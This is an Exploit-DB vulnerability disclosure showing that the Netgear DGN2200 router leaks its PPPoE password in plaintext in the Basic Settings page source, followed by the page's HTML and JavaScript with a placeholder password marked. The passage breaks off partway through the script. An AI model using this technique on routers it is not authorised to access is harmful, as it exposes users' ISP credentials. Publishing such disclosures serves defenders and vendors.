Exploit-DB #34149
Description: Netgear DGN2200 1.0.0.29_1.7.29_HotS - Password Disclosure
Type: webapps
Platform: hardware
Date: 2014-07-23
Author: Dolev Farhi

Exploit:
# Exploit Title: Password Disclosure vulnerability
# Software: NETGEAR DGN2200
# Software Link: netgear.com
# Version: DGN2200
# Author: Dolev Farhi, email: dolev(at)openflare(dot)org  
# Date: 23.7.2014
# Tested on: Kali Linux
# Firmware 1.0.0.29_1.7.29_HotS
 
 
2. Vulnerability Description:
===============================
An attacker is able to extract sensitive information such as the password from the Basic Settings router page due to storing it in plaintext.
 
 
3. Steps to reproduce:
======================
Navigate to the Basic Settings page, right click in the browser -> view source/frame

html>
<head>
<META name="description" content="DGN2200v2BEZEQ">
<META http-equiv="Content-Type" content="text/html; charset=utf-8">
<META http-equiv="Content-Style-Type" content="text/css">
<META http-equiv="Pragma" content="no-cache">
<META HTTP-equiv="Cache-Control" content="no-cache">
<META HTTP-EQUIV="Expires" CONTENT="Mon, 06 Jan 1990 00:00:01 GMT">

<title>PPPoE</title>
<link rel="stylesheet" href="form.css">
<STYLE TYPE="text/javascript">
	classes.num.all.fontFamily = "Courier";
	classes.num.all.fontSize = "10pt" ;
</style>
<script language="javascript" type="text/javascript" src="func.js"></script>
<script language="javascript" type="text/javascript" src="msg.js"></script>
<script language="javascript" type="text/javascript" src="utility.js"></script>
<script language="javascript" type="text/javascript" src="browser.js"></script>
<script language="javascript" type="text/javascript" src="md5.js"></script>

<script language="javascript" type="text/javascript">
var DisableFixedIP = false;
var DisableFixedDNS = false;
var all_wan_proto      = new Array(8);
var all_pppoe_localip = new Array(8);
var all_wan_dns_sel = new Array(8);
var all_wan_dns1_pri = new Array(8);
var all_wan_dns1_sec = new Array(8);
var all_wan_nat = new Array(8);
var all_wan_fw = new Array(8);
var all_ppp_dod = new Array(8);
var all_pppoe_idletime = new Array(8);
var all_pppoe_username = new Array(8);
var all_pppoe_passwd =  new Array(8);
var all_pppoe_servicename = new Array(8);
var all_is_static_ip = new Array(8);
var all_wan_isbridge   = new Array(8);


function loadMultiWanInfo()
{
    var cf = document.forms[0];
    cf.adslChoice.selectedIndex = cf.nowchoice.value;
    
    all_wan_proto[0] = "pppoe";
    all_wan_proto[1] = "pppoe";
    all_wan_proto[2] = "pppoe";
    all_wan_proto[3] = "pppoe";
    all_wan_proto[4] = "pppoe";
    all_wan_proto[5] = "pppoe";
    all_wan_proto[6] = "pppoe";
    all_wan_proto[7] = "pppoe";
    
    all_pppoe_localip[0] = "ip.add.re.ss";
    all_pppoe_localip[1] = "0.0.0.0";
    all_pppoe_localip[2] = "0.0.0.0";
    all_pppoe_localip[3] = "0.0.0.0";
    all_pppoe_localip[4] = "0.0.0.0";
    all_pppoe_localip[5] = "0.0.0.0";
    all_pppoe_localip[6] = "0.0.0.0";
    all_pppoe_localip[7] = "0.0.0.0";

    all_ppp_dod[0] = 0;
    all_ppp_dod[1] = 0;
    all_ppp_dod[2] = 0;
    all_ppp_dod[3] = 0;
    all_ppp_dod[4] = 0;
    all_ppp_dod[5] = 0;
    all_ppp_dod[6] = 0;
    all_ppp_dod[7] = 0;

    all_pppoe_idletime[0] = 0 / 60;
    all_pppoe_idletime[1] = 0 / 60;
    all_pppoe_idletime[2] = 0 / 60;
    all_pppoe_idletime[3] = 0 / 60;
    all_pppoe_idletime[4] = 0 / 60;
    all_pppoe_idletime[5] = 0 / 60;
    all_pppoe_idletime[6] = 0 / 60;
    all_pppoe_idletime[7] = 0 / 60;
    
    all_wan_dns_sel[0] = "0";
    all_wan_dns_sel[1] = "0";
    all_wan_dns_sel[2] = "0";
    all_wan_dns_sel[3] = "0";
    all_wan_dns_sel[4] = "0";
    all_wan_dns_sel[5] = "0";
    all_wan_dns_sel[6] = "0";
    all_wan_dns_sel[7] = "0";
    
    all_wan_dns1_pri[0] = "80.179.52.100";
    all_wan_dns1_pri[1] = "";
    all_wan_dns1_pri[2] = "";
    all_wan_dns1_pri[3] = "";
    all_wan_dns1_pri[4] = "";
    all_wan_dns1_pri[5] = "";
    all_wan_dns1_pri[6] = "";
    all_wan_dns1_pri[7] = "";

    all_wan_dns1_sec[0] = "80.179.55.100";
    all_wan_dns1_sec[1] = "";
    all_wan_dns1_sec[2] = "";
    all_wan_dns1_sec[3] = "";
    all_wan_dns1_sec[4] = "";
    all_wan_dns1_sec[5] = "";
    all_wan_dns1_sec[6] = "";
    all_wan_dns1_sec[7] = "";
    
    all_wan_nat[0] = "1";
    all_wan_nat[1] = "1"; 
    all_wan_nat[2] = "1"; 
    all_wan_nat[3] = "1"; 
    all_wan_nat[4] = "1"; 
    all_wan_nat[5] = "1"; 
    all_wan_nat[6] = "1"; 
    all_wan_nat[7] = "1";
    
    all_wan_fw[0] = "1";
    all_wan_fw[1] = "1";
    all_wan_fw[2] = "1"; 
    all_wan_fw[3] = "1"; 
    all_wan_fw[4] = "1"; 
    all_wan_fw[5] = "1"; 
    all_wan_fw[6] = "1"; 
    all_wan_fw[7] = "1";
    
    all_pppoe_username[0] = "user@012ISP";
    all_pppoe_username[1] = "";
    all_pppoe_username[2] = "";
    all_pppoe_username[3] = "";
    all_pppoe_username[4] = "";
    all_pppoe_username[5] = "";
    all_pppoe_username[6] = "";
    all_pppoe_username[7] = "";
    
    all_pppoe_passwd[0] = "MyPassword"; <--- password
    all_pppoe_passwd[1] = "";
    all_pppoe_passwd[2] = "";
    all_pppoe_passwd[3] = "";
    all_pppoe_passwd[4] = "";
    all_pppoe_passwd[5] = "";
    all_pppoe_passwd[6] = "";
    all_pppoe_passwd[7] = "";
    
    all_pppoe_servicename[0] = "";
    all_pppoe_servicename[1] = "";
    all_pppoe_servicename[2] = "";
    all_pppoe_servicename[3] = "";
    all_pppoe_servicename[4] = "";
    all_pppoe_servicename[5] = "";
    all_pppoe_servicename[6] = "";
    all_pppoe_servicename[7] = "";
    
    all_is_static_ip[0] = "0";
    all_is_static_ip[1] = "0";
    all_is_static_ip[2] = "0";
    all_is_static_ip[3] = "0";
    all_is_static_ip[4] = "0";
    all_is_static_ip[5] = "0";
    all_is_static_ip[6] = "0";
    all_is_static_ip[7] = "0";
    
    all_wan_isbridge[0] = "0";
    all_wan_isbridge[1] = "0";
    all_wan_isbridge[2] = "0";
    all_wan_isbridge[3] = "0";
    all_wan_isbridge[4] = "0";
    all_wan_isbridge[5] = "0";
    all_wan_isbridge[6]